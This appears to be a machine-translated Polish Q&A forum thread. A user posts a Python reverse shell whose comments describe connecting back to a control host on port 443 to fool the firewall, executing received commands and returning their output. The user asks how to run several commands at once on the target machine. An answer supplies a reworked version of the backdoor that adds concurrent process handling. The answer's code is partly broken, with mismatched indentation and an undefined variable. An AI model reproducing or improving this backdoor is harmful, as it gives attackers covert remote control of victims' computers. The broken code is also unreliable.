9

Poniższy kod działa, ale za każdym razem, gdy uruchamiasz program, na przykład notatnik na maszynie docelowej, monit jest zablokowany, dopóki nie wyjdę z programu.Współbieżność z modułem podprocesowym. Jak mogę to zrobić?

Jak uruchomić wiele programów jednocześnie na komputerze docelowym? Przypuszczam, że można to osiągnąć za pomocą wątków lub modułów podprocesowych, ale nadal nie mogę użyć tej koncepcji.

Jak mogę to zrobić?

import socket 
import time 
import subprocess #Executar comandos do SO 

#criando a conexao reversa 

IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando 
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada 

def connect(IP,PORT): 
    #conectando a central de controle 
    try: 
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # IP/TCP 

     s.connect((IP,PORT)) 
     s.send('[!] Conexao recebida\n')  # msg pra ver se foi conectado 
     #s.close() 
     return s 
    except Exception as e: 
     print('Erro de conexao',e) 
     return None 

def listen(s): 
##qdo o cliente nao esta escutando, da erro na conexao e fecha!. Nao quero isso. O server tem que ficar o tempo todo tentando ate conectar! 
## versao 3!!!!!!!!!! 
#versao 4 usa while True 

##########loop infinito para receber comandos 
    try: 

     while True: 
      data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n} 
      #print(data) 
      if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n 
       s.close()#fechar conexao 
       exit(0) # 0 eh execucao normal/sem erros 
      else: #executar os comandos 
       cmd(s,data) 
    except: 
     main(s) 

def cmd(s,data): 
    try:  
     proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 
     saida = s.send(proc.stdout.read() + proc.stderr.read()) 
     s.send(saida) 
     #print(proc.stdout.read())  
    except: 
     main(s) 

def main(s): 
    if s: 
     s.close() 

    while True: 
     s_connected = connect(IP,PORT) 
     if s_connected: 
      listen(s_connected) 
     else: 
      print("deu erro na conexao, tentando de novo!!!")##so pra debug 
      time.sleep(10) 

    #return 0 #nao precisa 

s = None 
main(s) 
+3

Chyba nie oznaczało wieloprocesorowe i wielowątkowość. Wątki istnieją w jednym procesie. – ElmoVanKielmo

+1

@ElmoVanKielmo, używa podprocesu.Popen, który można uruchomić i poczekać z wątku. Nawlekanie jest tutaj całkowicie wykonalnym rozwiązaniem. –

+1

@MadPhysicist Daj spokój. Wątek dla tej sprawy? Lepiej jest zbudować listę uruchomionych procesów i sondować każdy z nich, aby sprawdzić, czy jest on zakończony. – ElmoVanKielmo

Odpowiedz

7

Spróbuj coś takiego:

import socket 
import time 
import subprocess 
import select 

IP = '192.168.1.33' 
PORT = 443 

def connect(IP,PORT): 
    try: 
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

     s.connect((IP,PORT)) 
     s.send('[!] Conexao recebida\n') 
    return s 
except Exception as e: 
    print('Erro de conexao',e) 
    return None 


def listen(s): 
    try: 
     # Create a polling object and register socket with it 
     socket_poll = select.poll() 
     socket_poll.register(s) 
     # Create a list of running processes 
     processes = [] 
     while True: 
      # If no data is available on the socket, we can use the time to clean up processes which are finished 
      if not socket_poll.poll(1): 
       for process in tuple(processes): 
        if process.poll(): 
         s.send(proc.stdout.read() + proc.stderr.read()) 
         processes.remove(process) 
       continue 
      data = s.recv(1024) 
      if data[:-1] == '/exit': 
       s.close() 
       exit(0) 
      else: 
       cmd(s, data, processes) 
    except: 
     main(s) 


def cmd(s, data, processes): 
    try:  
     proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 
     # Add new process to the list 
     processes.append(proc) 
    except: 
     main(s) 


def main(s): 
    if s: 
     s.close() 

    while True: 
     s_connected = connect(IP,PORT) 
     if s_connected: 
      listen(s_connected) 
     else: 
      time.sleep(10) 

s = None 
main(s) 

Przepraszam za usunięcie hiszpańskich komentarzy;)

+0

dzięki za rozwiązanie !! –

+0

Czy można używać wątków? –

+0

Tak, jest to możliwe. Zachęcam do napisania kodu za pomocą wątków zaproponowanych przez Szalonego Fizyka. Nie martw się, jeśli to nie zadziała. Kiedy to zrobisz, możemy pokazać ci, co jest nie tak i poprawić. Po prostu użyj swojej wyobraźni, aby pokazać nam, w jaki sposób chcesz używać wątków. – ElmoVanKielmo